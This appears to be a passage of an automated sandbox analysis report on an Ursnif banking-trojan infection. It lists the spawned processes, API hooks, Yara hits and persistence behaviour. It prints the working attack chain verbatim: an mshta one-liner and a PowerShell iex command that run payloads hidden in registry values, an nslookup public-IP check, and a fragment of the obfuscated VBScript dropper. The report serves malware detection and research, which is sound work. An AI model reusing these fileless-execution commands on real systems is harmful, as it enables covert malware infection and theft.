Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7076 CREDAT:17410 /prefetch:2
Source: unknown Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6792 CREDAT:17410 /prefetch:2
Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6792 CREDAT:82952 /prefetch:2
Source: unknown Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi))
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB088.tmp' 'c:\Users\user\AppData\Local\Temp\5ya1ligq\CSC6D2B83ED4FA544BDA58AEA85D7B55542.TMP'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC75B.tmp' 'c:\Users\user\AppData\Local\Temp\zyvn03im\CSCD3BE44FE21F9438DABBEBC9691CFFC2.TMP'
Source: unknown Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\B075.bi1'
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7076 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6792 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6792 CREDAT:82952 /prefetch:2 Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.cmdline' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB088.tmp' 'c:\Users\user\AppData\Local\Temp\5ya1ligq\CSC6D2B83ED4FA544BDA58AEA85D7B55542.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC75B.tmp' 'c:\Users\user\AppData\Local\Temp\zyvn03im\CSCD3BE44FE21F9438DABBEBC9691CFFC2.TMP'
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\B075.bi1'
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: C:\Windows\explorer.exe File opened: C:\Windows\SYSTEM32\msftedit.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: Binary string: partial method>An expression tree may not contain an unsafe pointer operationAAn expression tree may not contain an anonymous method expressionHAn anonymous method expression cannot be converted to an expression tree@Range variable '%1!ls!' cannot be assigned to -- it is read onlyPThe range variable '%1!ls!' cannot have the same name as a method type parameterKThe contextual keyword 'var' cannot be used in a range variable declarationaThe best overloaded Add method '%1!ls!' for the collection initializer has some invalid argumentsAAn expression tree lambda may not contain an out or ref parameterJAn expression tree lambda may not contain a method with variable argumentsSSpecify debug information file name (default: output file name with .pdb extension)$Specify a Win32 manifest file (.xml))Do not include the default Win32 manifestNSpecify an application configuration file containing assembly binding settings8Output line and column of the end location of each errorFBuild a Windows Runtime intermediate file that is consumed by WinMDExp Build an Appcontainer executable+Specify the preferred output language name.3Could not write to output file '%2!ls!' -- '%1!ls!' source: csc.exe, 0000001E.00000002.870006317.0000016901C30000.00000002.00000001.sdmp, csc.exe, 00000020.00000002.879615404.0000020BB6FD0000.00000002.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000022.00000002.1107008463.0000000005A00000.00000002.00000001.sdmp
Source: Binary string: \zm.pdb source: powershell.exe, 0000001B.00000003.927722476.000001A056DA6000.00000004.00000001.sdmp
Source: Binary string: rundll32.pdb source: control.exe, 00000023.00000002.914133723.000002572EECC000.00000004.00000040.sdmp
Source: Binary string: rundll32.pdbGCTL source: control.exe, 00000023.00000002.914133723.000002572EECC000.00000004.00000040.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000022.00000002.1107008463.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.ScriptName, cStr(588331044)) > 0 And science = 0) ThenExit FunctionEnd IfToshiba = 15' omicron Burundi ago geology patriot, much disgustful starlight Scottish. roe truculent. Muskegon amphetamine ergative worship defraud jumble, 562810 fixate. 6171009 canonic. affiance Hartman modal referral Dominick coxcomb. Anthony shadbush taskmaster business Israeli ethic fame pretentious Nabisco McNaughton Loomis brusque Samson hackle appeasable cachalot aerobic Shelton two planetoid, intestinal glyph dilatory largesse Nicholson sportsman Ann chap if (Toshiba > ((((19 + 48.0) + 60.0) - 87.0) - 30.0)) Thenfathom = Array(203)' matrices tackle incommensurable caustic extrapolate tingle gluey dominant journeymen excavate condominium oratoric incumbent befitting songful aspersion fourteen Kenney painful clue. logging Wilcox upsetting exponentiate sixth repression Veneto buckwheat officialdom, reprisal NAACP carboxy plagiarist alkali Susan testamentary tentative Dim Sydney:Set Sydney = CreateObject("WScript.Shell")BsmOi = Sydney.RegRead("HKEY_CURRENT_USER\Control Panel\International\Geo\Nation")' bleed Shea legerdemain carriage427. 8172464 swill, eluate meetinghouse Leyden obvious holmium intercom million switchman threonine Nestor Bini sham520 NTIS rivulet girth candlelight Elliott balm waxwing, Marin laxative joyous extemporaneous insensible rustle Keenan hallucinogen For Each wmQWNkY In fathomIf (wmQWNkY = Cint(BsmOi)) ThenuCNNadj("none")liltXqidNdWScript.Quit' projectile. 8079653 admiral432 brush pine ourselves, 6697046 site mumble colorimeter method receptive boa whitewash hurricane, 3279266 Gillette transgressor prehensile eugenic infatuate nebula Fruehauf turnpike Paula declaratory cutlass licensor punctual wapiti panama, sketchbook phenomenology omitted husbandry, 780563 isotropy. Styx rain sweep truck alpaca, euphoric incriminate, NYC, perpetuate gentlewomen plenum, Cominform question Jesse befog plunge mournful End IfNextREM Somers figurine sense CPA Geneva technology Jerome Dudley condemnate Elmer pence hydrosphere puppeteer obstetrician afield, Lottie rouge simplicity regulatory sportsman77 Triceratops operon herpetology reckon hunt Barbara pushout hewn handmaiden jogging Kirby urea mutter liquefaction dater Bendix gaffe gorge tenfold splurge End ifEnd FunctionFunction quizzes()on error resume nextIf (InStr(WScript.ScriptName, cStr(588331044)) > 0 And science = 0) ThenExit Function' farewell repellent, 9847806 bobby Austria cognitive adult Schwartz riparian cosmos open351 vex scamp pragmatist rehearsal theyve. exfoliate waylaid, 4552276 communicable683 Charles celesta. 1386778 nectar Watertown waylaid974 Vishnu Kuhn vamp councilwomen orthicon Hoffman. 743543 mange Nassau lineprinter moisten exception141 easternmost quit3. Hollister inductee. cotangent chuck froth alone denude, 2171109 brute Omaha. ferromagnet, 855843 controller, connivance679 Ralston emitting neophyte headache422 Michaelangelo tamp prosecute pause anion, 7937071 t
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Compiles C# or VB.Net code
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.cmdline' Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\explorer.exe Code function: 34_2_04DA4DCD push 3B000001h; retf 34_2_04DA4DD2
Source: C:\Windows\System32\control.exe Code function: 35_2_00064DCD push 3B000001h; retf 35_2_00064DD2
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED4DCD push 3B000001h; retf 37_2_0000017896ED4DD2

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\onerous.tar Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\onerous.tar Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000005.00000003.726757645.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727219097.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.729332046.000000000530B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727028559.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.828135151.000000000510F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727067150.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.903821312.0000000002B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.886705349.0000000000B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727201837.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.726909604.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.905558727.0000000000AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.772246941.000000000520D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1096144561.000001B4FAD4E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.913163310.0000017896F0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727174189.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.912383715.000000000009E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727239812.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3424, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4540, type: MEMORY
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5220, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5764, type: MEMORY
Deletes itself after installation
Source: C:\Windows\System32\wscript.exe File deleted: c:\users\user\desktop\1qdmisgkbwxa.vbs Jump to behavior
Hooks registry keys query functions (used to hide registry keys)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW
Modifies the export address table of user mode modules (user mode EAT hooks)
Source: explorer.exe IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFABB03521C
Modifies the import address table of user mode modules (user mode IAT hooks)
Source: explorer.exe EAT of a user mode module has changed: module: user32.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFABB035200
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
